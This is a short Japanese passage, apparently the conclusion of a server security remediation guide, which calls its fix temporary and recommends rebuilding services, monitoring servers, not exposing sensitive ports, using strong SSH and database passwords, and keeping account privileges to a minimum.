この解決策は一時的な処理と強化にのみ適用されることに注意してください。データとサービスの移行と再構築を早急に行うことをお勧めします。また、サーバーの日常的なメンテナンスと監視を行い、敏感なサービスポートが直接公開されないようにし、SSH やデータベースで弱いパスワードを使用しないようにしてください。サービスが正常に動作していることを確認しつつ、アカウント権限を最小限に抑えるようにしてください。